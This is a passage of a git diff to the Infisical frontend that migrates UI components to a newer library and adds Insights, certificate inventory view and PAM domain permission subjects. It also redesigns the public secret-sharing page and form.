           )}
         </div>
-      </UnstableAccordionTrigger>
-      <UnstableAccordionContent className="!p-0">
+      </AccordionTrigger>
+      <AccordionContent className="!p-0">
         <div key={`select-${subject}-type`} className="flex flex-col space-y-3 bg-container p-3">
           {fields.map((el, rootIndex) => {
             const isInverted = watch(`permissions.${subject}.${rootIndex}.inverted` as any);
@@ -394,14 +394,14 @@ export const GeneralPermissionPolicies = <T extends keyof NonNullable<TFormSchem
                     {!isDisabled && (
                       <Tooltip>
                         <TooltipTrigger asChild>
-                          <UnstableIconButton
+                          <IconButton
                             aria-label="Remove rule"
                             variant="danger"
                             onClick={() => remove(rootIndex)}
                             isDisabled={isDisabled}
                           >
                             <TrashIcon className="size-4" />
-                          </UnstableIconButton>
+                          </IconButton>
                         </TooltipTrigger>
                         <TooltipContent side="top">Remove Rule</TooltipContent>
                       </Tooltip>
@@ -416,7 +416,7 @@ export const GeneralPermissionPolicies = <T extends keyof NonNullable<TFormSchem
             );
           })}
         </div>
-      </UnstableAccordionContent>
-    </UnstableAccordionItem>
+      </AccordionContent>
+    </AccordionItem>
   );
 };
diff --git a/frontend/src/pages/project/RoleDetailsBySlugPage/components/GroupPermissionConditions.tsx b/frontend/src/pages/project/RoleDetailsBySlugPage/components/GroupPermissionConditions.tsx
index abd16580a6d..f4c5bb4bdc2 100644
--- a/frontend/src/pages/project/RoleDetailsBySlugPage/components/GroupPermissionConditions.tsx
+++ b/frontend/src/pages/project/RoleDetailsBySlugPage/components/GroupPermissionConditions.tsx
@@ -56,7 +56,7 @@ export const GroupPermissionConditions = ({ position = 0, isDisabled }: Props) =
           value: "assignableRole",
           label: "Assignable Roles",
           description:
-            "The roles that the actor is allowed to assign to the target groups. (e.g., admin, developer, viewer)"
+            "The roles that the actor is allowed to assign to the target groups. (e.g., admin, member, viewer)"
         }
       ]}
       selectedActions={selectedActions}
diff --git a/frontend/src/pages/project/RoleDetailsBySlugPage/components/IdentityManagementPermissionConditions.tsx b/frontend/src/pages/project/RoleDetailsBySlugPage/components/IdentityManagementPermissionConditions.tsx
index 1564325d05b..92167b9268c 100644
--- a/frontend/src/pages/project/RoleDetailsBySlugPage/components/IdentityManagementPermissionConditions.tsx
+++ b/frontend/src/pages/project/RoleDetailsBySlugPage/components/IdentityManagementPermissionConditions.tsx
@@ -59,7 +59,7 @@ export const IdentityManagementPermissionConditions = ({ position = 0, isDisable
           value: "assignableRole",
           label: "Assignable Roles",
           description:
-            "The roles that the actor is allowed to assign to the target machine identities. (e.g., admin, developer, viewer)"
+            "The roles that the actor is allowed to assign to the target machine identities. (e.g., admin, member, viewer)"
         },
         {
           value: "assignableSubject",
diff --git a/frontend/src/pages/project/RoleDetailsBySlugPage/components/MemberPermissionConditions.tsx b/frontend/src/pages/project/RoleDetailsBySlugPage/components/MemberPermissionConditions.tsx
index ac7f423b862..84db08dd393 100644
--- a/frontend/src/pages/project/RoleDetailsBySlugPage/components/MemberPermissionConditions.tsx
+++ b/frontend/src/pages/project/RoleDetailsBySlugPage/components/MemberPermissionConditions.tsx
@@ -56,7 +56,7 @@ export const MemberPermissionConditions = ({ position = 0, isDisabled }: Props)
           value: "assignableRole",
           label: "Assignable Roles",
           description:
-            "The roles that the actor is allowed to assign to the target users. (e.g., admin, developer, viewer)"
+            "The roles that the actor is allowed to assign to the target users. (e.g., admin, member, viewer)"
         },
         {
           value: "assignableSubject",
diff --git a/frontend/src/pages/project/RoleDetailsBySlugPage/components/PamAccountPermissionConditions.tsx b/frontend/src/pages/project/RoleDetailsBySlugPage/components/PamAccountPermissionConditions.tsx
index 736ff1a7dbb..e0c0da1f688 100644
--- a/frontend/src/pages/project/RoleDetailsBySlugPage/components/PamAccountPermissionConditions.tsx
+++ b/frontend/src/pages/project/RoleDetailsBySlugPage/components/PamAccountPermissionConditions.tsx
@@ -32,12 +32,22 @@ export const PamAccountPermissionConditions = ({ position = 0, isDisabled }: Pro
         {
           value: "resourceName",
           label: "Resource Name",
-          description: "PAM resource name"
+          description: "Name of the PAM resource this account belongs to"
         },
         {
           value: "resourceType",
           label: "Resource Type",
           description: "PAM resource type (e.g. postgres, mysql, ssh)"
+        },
+        {
+          value: "domainName",
+          label: "Domain Name",
+          description: "Name of the PAM domain this account belongs to"
+        },
+        {
+          value: "domainType",
+          label: "Domain Type",
+          description: "PAM domain type (e.g. active-directory)"
         }
       ]}
     />
diff --git a/frontend/src/pages/project/RoleDetailsBySlugPage/components/PermissionEmptyState.tsx b/frontend/src/pages/project/RoleDetailsBySlugPage/components/PermissionEmptyState.tsx
index f3fa8e94ae5..ba9536033f0 100644
--- a/frontend/src/pages/project/RoleDetailsBySlugPage/components/PermissionEmptyState.tsx
+++ b/frontend/src/pages/project/RoleDetailsBySlugPage/components/PermissionEmptyState.tsx
@@ -1,11 +1,6 @@
 import { useFormContext } from "react-hook-form";
 
-import {
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle
-} from "@app/components/v3";
+import { Empty, EmptyDescription, EmptyHeader, EmptyTitle } from "@app/components/v3";
 
 import { TFormSchema } from "./ProjectRoleModifySection.utils";
 
@@ -20,13 +15,11 @@ export const PermissionEmptyState = () => {
   if (isNotEmptyPermissions) return null;
 
   return (
-    <UnstableEmpty className="border py-8">
-      <UnstableEmptyHeader>
-        <UnstableEmptyTitle>No policies applied</UnstableEmptyTitle>
-        <UnstableEmptyDescription>
-          Add policies to configure permissions for this role.
-        </UnstableEmptyDescription>
-      </UnstableEmptyHeader>
-    </UnstableEmpty>
+    <Empty className="border py-8">
+      <EmptyHeader>
+        <EmptyTitle>No policies applied</EmptyTitle>
+        <EmptyDescription>Add policies to configure permissions for this role.</EmptyDescription>
+      </EmptyHeader>
+    </Empty>
   );
 };
diff --git a/frontend/src/pages/project/RoleDetailsBySlugPage/components/ProjectRoleModifySection.utils.tsx b/frontend/src/pages/project/RoleDetailsBySlugPage/components/ProjectRoleModifySection.utils.tsx
index 6cb08599cdd..3c0f09fb6b3 100644
--- a/frontend/src/pages/project/RoleDetailsBySlugPage/components/ProjectRoleModifySection.utils.tsx
+++ b/frontend/src/pages/project/RoleDetailsBySlugPage/components/ProjectRoleModifySection.utils.tsx
@@ -21,6 +21,7 @@ import {
   ProjectPermissionDynamicSecretActions,
   ProjectPermissionGroupActions,
   ProjectPermissionIdentityActions,
+  ProjectPermissionInsightsActions,
   ProjectPermissionKmipActions,
   ProjectPermissionMcpEndpointActions,
   ProjectPermissionMemberActions,
@@ -59,6 +60,10 @@ const AuditLogsPolicyActionSchema = z.object({
   [ProjectPermissionAuditLogsActions.Read]: z.boolean().optional()
 });
 
+const InsightsPolicyActionSchema = z.object({
+  [ProjectPermissionInsightsActions.Read]: z.boolean().optional()
+});
+
 const CertificatePolicyActionSchema = z.object({
   [ProjectPermissionCertificateActions.Create]: z.boolean().optional(),
   [ProjectPermissionCertificateActions.Delete]: z.boolean().optional(),
@@ -689,6 +694,7 @@ export const projectRoleFormSchema = z.object({
       [ProjectPermissionSub.Settings]: GeneralPolicyActionSchema.array().default([]),
       [ProjectPermissionSub.Environments]: GeneralPolicyActionSchema.array().default([]),
       [ProjectPermissionSub.AuditLogs]: AuditLogsPolicyActionSchema.array().default([]),
+      [ProjectPermissionSub.Insights]: InsightsPolicyActionSchema.array().default([]),
       [ProjectPermissionSub.IpAllowList]: GeneralPolicyActionSchema.array().default([]),
       [ProjectPermissionSub.CertificateAuthorities]: CertificateAuthorityPolicyActionSchema.extend({
         inverted: z.boolean().optional(),
@@ -710,6 +716,9 @@ export const projectRoleFormSchema = z.object({
         .default([]),
       [ProjectPermissionSub.PkiAlerts]: GeneralPolicyActionSchema.array().default([]),
       [ProjectPermissionSub.PkiCollections]: GeneralPolicyActionSchema.array().default([]),
+      [ProjectPermissionSub.CertificateInventoryViews]: GeneralPolicyActionSchema.array().default(
+        []
+      ),
       [ProjectPermissionSub.PkiDiscovery]: z
         .object({
           read: z.boolean().optional(),
@@ -799,6 +808,12 @@ export const projectRoleFormSchema = z.object({
       })
         .array()
         .default([]),
+      [ProjectPermissionSub.PamDomains]: GeneralPolicyActionSchema.extend({
+        inverted: z.boolean().optional(),
+        conditions: ConditionSchema
+      })
+        .array()
+        .default([]),
       [ProjectPermissionSub.PamAccounts]: PamAccountPolicyActionSchema.extend({
         inverted: z.boolean().optional(),
         conditions: ConditionSchema
@@ -874,6 +889,7 @@ type TConditionalFields =
   | ProjectPermissionSub.AppConnections
   | ProjectPermissionSub.PamAccounts
   | ProjectPermissionSub.PamResources
+  | ProjectPermissionSub.PamDomains
   | ProjectPermissionSub.McpEndpoints
   | ProjectPermissionSub.Member
   | ProjectPermissionSub.Groups;
@@ -900,6 +916,7 @@ export const isConditionalSubjects = (
   subject === ProjectPermissionSub.AppConnections ||
   subject === ProjectPermissionSub.PamAccounts ||
   subject === ProjectPermissionSub.PamResources ||
+  subject === ProjectPermissionSub.PamDomains ||
   subject === ProjectPermissionSub.McpEndpoints ||
   subject === ProjectPermissionSub.Member ||
   subject === ProjectPermissionSub.Groups;
@@ -1031,6 +1048,7 @@ export const rolePermission2Form = (permissions: TProjectPermission[] = []) => {
         ProjectPermissionSub.Member,
         ProjectPermissionSub.Groups,
         ProjectPermissionSub.PkiCollections,
+        ProjectPermissionSub.CertificateInventoryViews,
         ProjectPermissionSub.Tags,
         ProjectPermissionSub.SecretRotation,
         ProjectPermissionSub.Kms,
@@ -1044,9 +1062,11 @@ export const rolePermission2Form = (permissions: TProjectPermission[] = []) => {
         ProjectPermissionSub.AppConnections,
         ProjectPermissionSub.PamFolders,
         ProjectPermissionSub.PamResources,
+        ProjectPermissionSub.PamDomains,
         ProjectPermissionSub.McpEndpoints,
         ProjectPermissionSub.McpServers,
-        ProjectPermissionSub.McpActivityLogs
+        ProjectPermissionSub.McpActivityLogs,
+        ProjectPermissionSub.Insights
       ].includes(subject)
     ) {
       // from above statement we are sure it won't be undefined
@@ -2453,6 +2473,17 @@ export const PROJECT_PERMISSION_OBJECT: TProjectPermissionObject = {
       }
     ]
   },
+  [ProjectPermissionSub.Insights]: {
+    title: "Insights",
+    description: "View project analytics and insights dashboards",
+    actions: [
+      {
+        label: "Read",
+        value: ProjectPermissionInsightsActions.Read,
+        description: "View secret access volume, locations, auth methods, and calendar insights"
+      }
+    ]
+  },
   [ProjectPermissionSub.IpAllowList]: {
     title: "IP Allowlist",
     description: "Restrict project access by IP address",
@@ -2740,6 +2771,16 @@ export const PROJECT_PERMISSION_OBJECT: TProjectPermissionObject = {
       { label: "Remove", value: "delete", description: "Delete PKI alerts" }
     ]
   },
+  [ProjectPermissionSub.CertificateInventoryViews]: {
+    title: "Inventory Views",
+    description: "Manage saved certificate inventory views and filters",
+    actions: [
+      { label: "Read", value: "read", description: "View saved inventory views" },
+      { label: "Create", value: "create", description: "Create new inventory views" },
+      { label: "Modify", value: "edit", description: "Update inventory views and toggle sharing" },
+      { label: "Remove", value: "delete", description: "Delete inventory views" }
+    ]
+  },
   [ProjectPermissionSub.SecretApproval]: {
     title: "Approval Policies",
     description: "Define approval workflows for secret changes and access requests",
@@ -3137,6 +3178,28 @@ export const PROJECT_PERMISSION_OBJECT: TProjectPermissionObject = {
       }
     ]
   },
+  [ProjectPermissionSub.PamDomains]: {
+    title: "Domains",
+    description: "Manage PAM domains such as Active Directory",
+    actions: [
+      { label: "Read", value: ProjectPermissionActions.Read, description: "View PAM domains" },
+      {
+        label: "Create",
+        value: ProjectPermissionActions.Create,
+        description: "Add new domains to PAM"
+      },
+      {
+        label: "Modify",
+        value: ProjectPermissionActions.Edit,
+        description: "Update domain configuration"
+      },
+      {
+        label: "Remove",
+        value: ProjectPermissionActions.Delete,
+        description: "Remove PAM domains"
+      }
+    ]
+  },
   [ProjectPermissionSub.PamAccounts]: {
     title: "Accounts",
     description: "Manage privileged account credentials",
@@ -3380,6 +3443,7 @@ const SecretsManagerPermissionSubjects = (enabled = false) => ({
   [ProjectPermissionSub.SecretRotation]: enabled,
   [ProjectPermissionSub.ServiceTokens]: enabled,
   [ProjectPermissionSub.Commits]: enabled,
+  [ProjectPermissionSub.Insights]: enabled,
   [ProjectPermissionSub.SecretEventSubscriptions]: enabled,
   [ProjectPermissionSub.SecretApprovalRequest]: enabled
 });
@@ -3392,6 +3456,7 @@ const KmsPermissionSubjects = (enabled = false) => ({
 const CertificateManagerPermissionSubjects = (enabled = false) => ({
   [ProjectPermissionSub.PkiCollections]: enabled,
   [ProjectPermissionSub.PkiAlerts]: enabled,
+  [ProjectPermissionSub.CertificateInventoryViews]: enabled,
   [ProjectPermissionSub.PkiSubscribers]: enabled,
   [ProjectPermissionSub.PkiSyncs]: enabled,
   [ProjectPermissionSub.CertificateAuthorities]: enabled,
@@ -3421,6 +3486,7 @@ const SecretScanningSubject = (enabled = false) => ({
 const PamPermissionSubjects = (enabled = false) => ({
   [ProjectPermissionSub.PamFolders]: enabled,
   [ProjectPermissionSub.PamResources]: enabled,
+  [ProjectPermissionSub.PamDomains]: enabled,
   [ProjectPermissionSub.PamAccounts]: enabled,
   [ProjectPermissionSub.PamSessions]: enabled,
   [ProjectPermissionSub.PamAccountPolicies]: enabled,
@@ -3688,6 +3754,10 @@ export const RoleTemplates: Record<ProjectType, RoleTemplate[]> = {
           subject: ProjectPermissionSub.PkiAlerts,
           actions: [ProjectPermissionActions.Read]
         },
+        {
+          subject: ProjectPermissionSub.CertificateInventoryViews,
+          actions: Object.values(ProjectPermissionActions)
+        },
         {
           subject: ProjectPermissionSub.CertificateAuthorities,
           actions: [ProjectPermissionActions.Read]
@@ -3726,6 +3796,10 @@ export const RoleTemplates: Record<ProjectType, RoleTemplate[]> = {
           subject: ProjectPermissionSub.PkiAlerts,
           actions: Object.values(ProjectPermissionActions)
         },
+        {
+          subject: ProjectPermissionSub.CertificateInventoryViews,
+          actions: Object.values(ProjectPermissionActions)
+        },
         {
           subject: ProjectPermissionSub.CertificateAuthorities,
           actions: Object.values(ProjectPermissionActions)
@@ -3949,6 +4023,10 @@ export const RoleTemplates: Record<ProjectType, RoleTemplate[]> = {
           subject: ProjectPermissionSub.PamResources,
           actions: [ProjectPermissionActions.Read]
         },
+        {
+          subject: ProjectPermissionSub.PamDomains,
+          actions: [ProjectPermissionActions.Read]
+        },
         {
           subject: ProjectPermissionSub.PamAccounts,
           actions: [ProjectPermissionPamAccountActions.Read]
@@ -3982,6 +4060,10 @@ export const RoleTemplates: Record<ProjectType, RoleTemplate[]> = {
           subject: ProjectPermissionSub.PamResources,
           actions: Object.values(ProjectPermissionActions)
         },
+        {
+          subject: ProjectPermissionSub.PamDomains,
+          actions: Object.values(ProjectPermissionActions)
+        },
         {
           subject: ProjectPermissionSub.PamAccounts,
           actions: [
diff --git a/frontend/src/pages/project/RoleDetailsBySlugPage/components/RolePermissionsSection.tsx b/frontend/src/pages/project/RoleDetailsBySlugPage/components/RolePermissionsSection.tsx
index 07b858e73a9..aac61fbed3c 100644
--- a/frontend/src/pages/project/RoleDetailsBySlugPage/components/RolePermissionsSection.tsx
+++ b/frontend/src/pages/project/RoleDetailsBySlugPage/components/RolePermissionsSection.tsx
@@ -6,7 +6,7 @@ import { SaveIcon } from "lucide-react";
 
 import { createNotification } from "@app/components/notifications";
 import { AccessTree } from "@app/components/permissions";
-import { Button, UnstableAccordion } from "@app/components/v3";
+import { Accordion, Button } from "@app/components/v3";
 import { ProjectPermissionSub, useProject } from "@app/context";
 import { ProjectPermissionSet } from "@app/context/ProjectPermissionContext";
 import { evaluatePermissionsAbility } from "@app/helpers/permissions";
@@ -101,7 +101,10 @@ export const renderConditionalComponents = (
       return <PamAccountPermissionConditions isDisabled={isDisabled} />;
     }
 
-    if (subject === ProjectPermissionSub.PamResources) {
+    if (
+      subject === ProjectPermissionSub.PamResources ||
+      subject === ProjectPermissionSub.PamDomains
+    ) {
       return <PamResourcePermissionConditions isDisabled={isDisabled} />;
     }
 
@@ -263,7 +266,7 @@ export const RolePermissionsSection = ({ roleSlug, isDisabled }: Props) => {
             <div className="thin-scrollbar flex-1 overflow-y-scroll py-4">
               {!isPending && !hasPermissions && <PermissionEmptyState />}
               {hasPermissions && (
-                <UnstableAccordion
+                <Accordion
                   type="multiple"
                   value={openPolicies}
                   onValueChange={setOpenPolicies}
@@ -297,7 +300,7 @@ export const RolePermissionsSection = ({ roleSlug, isDisabled }: Props) => {
                         {renderConditionalComponents(subject, isDisabled)}
                       </GeneralPermissionPolicies>
                     ))}
-                </UnstableAccordion>
+                </Accordion>
               )}
             </div>
           </div>
diff --git a/frontend/src/pages/public/ShareSecretPage/ShareSecretPage.tsx b/frontend/src/pages/public/ShareSecretPage/ShareSecretPage.tsx
index 9a427a0530e..928b78eaa7b 100644
--- a/frontend/src/pages/public/ShareSecretPage/ShareSecretPage.tsx
+++ b/frontend/src/pages/public/ShareSecretPage/ShareSecretPage.tsx
@@ -1,12 +1,16 @@
 import { Helmet } from "react-helmet";
-import { faArrowRight } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+
+import { AuthPageBackground } from "@app/components/auth/AuthPageBackground";
+import { AuthPageFooter } from "@app/components/auth/AuthPageFooter";
+import { AuthPageHeader } from "@app/components/auth/AuthPageHeader";
+import { Card, CardContent, CardHeader, CardTitle } from "@app/components/v3";
 
 import { ShareSecretForm } from "./components";
 
 export const ShareSecretPage = () => {
   return (
-    <>
+    <div className="relative flex max-h-screen min-h-screen flex-col overflow-y-auto bg-linear-to-tr from-card via-bunker-900 to-card px-4">
+      <AuthPageBackground />
       <Helmet>
         <title>Securely Share Secrets | Infisical</title>
         <link rel="icon" href="/infisical.ico" />
@@ -14,88 +18,18 @@ export const ShareSecretPage = () => {
         <meta property="og:title" content="" />
         <meta name="og:description" content="" />
       </Helmet>
-      <div className="dark h-full">
-        <div className="flex h-screen flex-col justify-between overflow-auto bg-linear-to-tr from-mineshaft-700 to-bunker-800 text-gray-200 dark:scheme-dark">
-          <div />
-          <div className="mx-auto w-full max-w-xl px-4 py-4 md:px-0">
-            <div className="mb-8 text-center">
-              <div className="mb-4 flex justify-center pt-8">
-                <a target="_blank" rel="noopener noreferrer" href="https://infisical.com">
-                  <img
-                    src="/images/gradientLogo.svg"
-                    height={90}
-                    width={120}
-                    alt="Infisical logo"
-                    className="cursor-pointer"
-                  />
-                </a>
-              </div>
-              <h1 className="bg-linear-to-b from-white to-bunker-200 bg-clip-text text-center text-4xl font-medium text-transparent">
-                Share a secret
-              </h1>
-              <p className="text-md">
-                Powered by{" "}
-                <a
-                  href="https://github.com/infisical/infisical"
-                  target="_blank"
-                  rel="noopener noreferrer"
-                  className="text-bold bg-linear-to-tr from-yellow-500 to-primary-500 bg-clip-text text-transparent"
-                >
-                  Infisical &rarr;
-                </a>
-              </p>
-            </div>
-            <div className="rounded-lg border border-mineshaft-600 bg-mineshaft-800 p-4">
-              <ShareSecretForm isPublic />
-            </div>
-            <div className="m-auto my-8 flex w-full">
-              <div className="w-full border-t border-mineshaft-600" />
-            </div>
-            <div className="m-auto flex w-full flex-col rounded-md border border-primary-500/30 bg-primary/5 p-6 pt-5">
-              <p className="w-full pb-2 text-lg font-medium text-mineshaft-100 md:pb-3 md:text-xl">
-                Open source{" "}
-                <span className="bg-linear-to-tr from-yellow-500 to-primary-500 bg-clip-text text-transparent">
-                  secret management
-                </span>{" "}
-                for developers
-              </p>
-              <div className="flex flex-col items-start sm:flex-row sm:items-center">
-                <p className="md:text-md text-md mr-4">
-                  <a
-                    href="https://github.com/infisical/infisical"
-                    target="_blank"
-                    rel="noopener noreferrer"
-                    className="text-bold bg-linear-to-tr from-yellow-500 to-primary-500 bg-clip-text text-transparent"
-                  >
-                    Infisical
-                  </a>{" "}
-                  is the all-in-one secret management platform to securely manage secrets, configs,
-                  and certificates across your team and infrastructure.
-                </p>
-                <div className="mt-4 cursor-pointer sm:mt-0">
-                  <a target="_blank" rel="noopener noreferrer" href="https://infisical.com">
-                    <div className="flex items-center justify-between rounded-md border border-mineshaft-400/40 bg-mineshaft-600 px-3 py-2 duration-200 hover:border-primary/60 hover:bg-primary/20 hover:text-white">
-                      <p className="mr-4 whitespace-nowrap">Try Infisical</p>
-                      <FontAwesomeIcon icon={faArrowRight} />
-                    </div>
-                  </a>
-                </div>
-              </div>
-            </div>
-          </div>
+      <AuthPageHeader />
+
+      <Card className="z-50 m-auto w-full max-w-xl">
+        <CardHeader>
+          <CardTitle>Share a Secret</CardTitle>
+        </CardHeader>
+        <CardContent className="flex flex-col gap-y-4">
+          <ShareSecretForm isPublic />
+        </CardContent>
+      </Card>
 
-          <div className="w-full bg-mineshaft-600 p-2">
-            <p className="text-center text-sm text-mineshaft-300">
-              Made with ❤️ by{" "}
-              <a className="text-primary" href="https://infisical.com">
-                Infisical
-              </a>
-              <br />
-              235 2nd st, San Francisco, California, 94105, United States. 🇺🇸
-            </p>
-          </div>
-        </div>
-      </div>
-    </>
+      <AuthPageFooter />
+    </div>
   );
 };
diff --git a/frontend/src/pages/public/ShareSecretPage/components/ShareSecretForm.tsx b/frontend/src/pages/public/ShareSecretPage/components/ShareSecretForm.tsx
index 9377ae48a9c..4bb1c10833d 100644
--- a/frontend/src/pages/public/ShareSecretPage/components/ShareSecretForm.tsx
+++ b/frontend/src/pages/public/ShareSecretPage/components/ShareSecretForm.tsx
@@ -1,9 +1,9 @@
 import { useState } from "react";
 import { Controller, useForm } from "react-hook-form";
-import { faCheck, faCopy, faInfoCircle, faLock, faRedo } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import { useSearch } from "@tanstack/react-router";
+import { Check, ClipboardCheck, Copy, ForwardIcon, Info, Lock } from "lucide-react";
+import { twMerge } from "tailwind-merge";
 import { z } from "zod";
 
 import { createNotification } from "@app/components/notifications";
@@ -12,15 +12,25 @@ import {
   AccordionContent,
   AccordionItem,
   AccordionTrigger,
+  Badge,
   Button,
-  FormControl,
+  Field,
+  FieldDescription,
+  FieldError,
+  FieldLabel,
   IconButton,
   Input,
   Select,
+  SelectContent,
   SelectItem,
+  SelectTrigger,
+  SelectValue,
   Switch,
-  Tooltip
-} from "@app/components/v2";
+  TextArea,
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
 import { useTimedReset } from "@app/hooks";
 import { useCreatePublicSharedSecret, useCreateSharedSecret } from "@app/hooks/api";
 import { SecretSharingAccessType } from "@app/hooks/api/secretSharing";
@@ -186,27 +196,27 @@ export const ShareSecretForm = ({
 
   if (secretLink === null)
     return (
-      <form onSubmit={handleSubmit(onFormSubmit)}>
+      <form onSubmit={handleSubmit(onFormSubmit)} className="flex flex-col gap-4">
         {!isPublic && (
           <Controller
             control={control}
             name="name"
             render={({ field, fieldState: { error } }) => (
-              <FormControl
-                label="Name"
-                isOptional
-                isError={Boolean(error)}
-                errorText={error?.message}
-              >
+              <Field>
+                <FieldLabel>
+                  Name <span className="text-xs text-muted italic">- Optional</span>
+                </FieldLabel>
                 <Input
                   {...field}
                   placeholder="API Key"
                   type="text"
                   autoComplete="off"
                   autoCorrect="off"
-                  spellCheck="false"
+                  spellCheck={false}
+                  isError={Boolean(error)}
                 />
-              </FormControl>
+                {error && <FieldError>{error.message}</FieldError>}
+              </Field>
             )}
           />
         )}
@@ -214,43 +224,40 @@ export const ShareSecretForm = ({
           control={control}
           name="secret"
           render={({ field, fieldState: { error } }) => (
-            <FormControl
-              label="Your Secret"
-              isError={Boolean(error)}
-              errorText={error?.message}
-              className="mb-2"
-              isRequired
-            >
-              <textarea
-                placeholder="Enter sensitive data to share via an encrypted link..."
+            <Field>
+              <FieldLabel>Your Secret</FieldLabel>
+              <TextArea
+                placeholder="Enter sensitive data to share via an encrypted link"
                 {...field}
-                className="h-40 min-h-[70px] w-full rounded-md border border-mineshaft-600 bg-mineshaft-900 px-2 py-1.5 text-bunker-300 outline-hidden transition-all group-hover:mr-2 placeholder:text-mineshaft-400 hover:border-primary-400/30 focus:border-primary-400/50"
+                className={twMerge("min-h-[70px] resize-y", isPublic ? "h-40" : "h-14")}
                 disabled={value !== undefined}
+                aria-invalid={Boolean(error)}
               />
-            </FormControl>
+              {error && <FieldError>{error.message}</FieldError>}
+            </Field>
           )}
         />
         <Controller
           control={control}
           name="password"
           render={({ field, fieldState: { error } }) => (
-            <FormControl
-              label="Password"
-              isError={Boolean(error)}
-              errorText={error?.message}
-              isOptional
-            >
+            <Field>
+              <FieldLabel>
+                Password <span className="text-xs text-muted italic">- Optional</span>
+              </FieldLabel>
               <Input
                 {...field}
                 placeholder="Password"
                 type="password"
                 autoComplete="new-password"
                 autoCorrect="off"
-                spellCheck="false"
+                spellCheck={false}
                 aria-autocomplete="none"
                 data-form-type="other"
+                isError={Boolean(error)}
               />
-            </FormControl>
+              {error && <FieldError>{error.message}</FieldError>}
+            </Field>
           )}
         />
 
@@ -260,114 +267,104 @@ export const ShareSecretForm = ({
             name="accessType"
             defaultValue={SecretSharingAccessType.Organization}
             render={({ field: { onChange, ...field }, fieldState: { error } }) => (
-              <FormControl errorText={error?.message} isError={Boolean(error)}>
+              <Field orientation="horizontal">
                 <Switch
-                  className={`mr-2 ml-0 bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-primary ${!allowSecretSharingOutsideOrganization ? "opacity-50" : ""}`}
-                  thumbClassName="bg-mineshaft-800"
-                  containerClassName="flex-row-reverse w-fit"
-                  isChecked={
+                  checked={
                     field.value === SecretSharingAccessType.Organization ||
                     !allowSecretSharingOutsideOrganization
                   }
-                  isDisabled={!allowSecretSharingOutsideOrganization}
+                  variant="org"
+                  disabled={!allowSecretSharingOutsideOrganization}
                   onCheckedChange={(v) =>
                     onChange(
                       v ? SecretSharingAccessType.Organization : SecretSharingAccessType.Anyone
                     )
                   }
-                  id="org-access-only"
-                >
+                />
+                <FieldLabel className="flex-auto">
                   <span className="flex items-center">
                     Limit access to people within organization
                     {!allowSecretSharingOutsideOrganization && (
-                      <Tooltip content="Enforced by your organization">
-                        <FontAwesomeIcon
-                          icon={faLock}
-                          className="ml-2 !align-[-0.2em] text-mineshaft-400"
-                        />
+                      <Tooltip>
+                        <TooltipTrigger asChild>
+                          <Lock className="ml-2 size-3 text-muted" />
+                        </TooltipTrigger>
+                        <TooltipContent>Enforced by your organization</TooltipContent>
                       </Tooltip>
                     )}
                   </span>
-                </Switch>
-              </FormControl>
+                </FieldLabel>
+                {error && <FieldError>{error.message}</FieldError>}
+              </Field>
             )}
           />
         )}
 
-        <Accordion type="single" collapsible className="w-full">
-          <AccordionItem value="advance-settings" className="data-[state=open]:border-none">
-            <AccordionTrigger className="h-fit flex-none pl-1 text-sm">
-              <div className="order-1 ml-3">Advanced Settings</div>
-            </AccordionTrigger>
-            <AccordionContent childrenClassName="p-0">
+        <Accordion type="single" collapsible variant="ghost">
+          <AccordionItem value="advance-settings">
+            <AccordionTrigger>Advanced Settings</AccordionTrigger>
+            <AccordionContent className="flex flex-col gap-y-4">
               <Controller
                 control={control}
                 name="expiresIn"
                 render={({ field: { onChange, ...field }, fieldState: { error } }) => (
-                  <FormControl
-                    label="Expires In"
-                    errorText={error?.message}
-                    isError={Boolean(error)}
-                    helperText={
-                      expiresInOptions.length !== filteredExpiresInOptions.length ? (
-                        <span className="text-yellow-500">
-                          Limited to{" "}
-                          {filteredExpiresInOptions[filteredExpiresInOptions.length - 1].label} by
-                          organization
-                        </span>
-                      ) : undefined
-                    }
-                  >
-                    <Select
-                      defaultValue={field.value}
-                      {...field}
-                      onValueChange={(e) => onChange(e)}
-                      className="w-full"
-                    >
-                      {expiresInOptions.map(({ label, value: expiresInValue }) => (
-                        <SelectItem
-                          value={String(expiresInValue || "")}
-                          key={label}
-                          isDisabled={!filteredExpiresInOptions.some((v) => v.label === label)}
-                        >
-                          {label}
-                        </SelectItem>
-                      ))}
+                  <Field>
+                    <FieldLabel>Expires In</FieldLabel>
+                    <Select value={field.value} onValueChange={(e) => onChange(e)}>
+                      <SelectTrigger className="w-full">
+                        <SelectValue />
+                      </SelectTrigger>
+                      <SelectContent>
+                        {expiresInOptions.map(({ label, value: expiresInValue }) => (
+                          <SelectItem
+                            value={String(expiresInValue || "")}
+                            key={label}
+                            disabled={!filteredExpiresInOptions.some((v) => v.label === label)}
+                          >
+                            {label}
+                          </SelectItem>
+                        ))}
+                      </SelectContent>
                     </Select>
-                  </FormControl>
+                    {expiresInOptions.length !== filteredExpiresInOptions.length && (
+                      <FieldDescription className="text-info">
+                        Limited to{" "}
+                        {filteredExpiresInOptions[filteredExpiresInOptions.length - 1].label} by
+                        organization
+                      </FieldDescription>
+                    )}
+                    {error && <FieldError>{error.message}</FieldError>}
+                  </Field>
                 )}
               />
-              <div className="flex w-full items-end gap-2">
+              <div className="flex w-full items-end gap-2 overflow-visible">
                 {maxSharedSecretViewLimit === null && (
                   <Controller
                     control={control}
                     name="shouldLimitView"
                     render={({ field: { onChange, ...field }, fieldState: { error } }) => (
-                      <FormControl
-                        label="Max Views"
-                        errorText={error?.message}
-                        isError={Boolean(error)}
-                        className="flex-1"
-                      >
+                      <Field className="flex-1">
+                        <FieldLabel>Max Views</FieldLabel>
                         <Select
-                          defaultValue={field.value.toString()}
-                          onValueChange={(e) => onChange(e === "true")}
-                          className="w-full"
-                          position="popper"
-                          {...field}
                           value={field.value.toString()}
-                          dropdownContainerClassName="max-w-none"
+                          onValueChange={(e) => onChange(e === "true")}
                         >
-                          {viewLimitOptions.map(({ label, value: viewLimitValue }) => (
-                            <SelectItem
-                              value={viewLimitValue.toString()}
-                              key={viewLimitValue.toString()}
-                            >
-                              {label}
-                            </SelectItem>
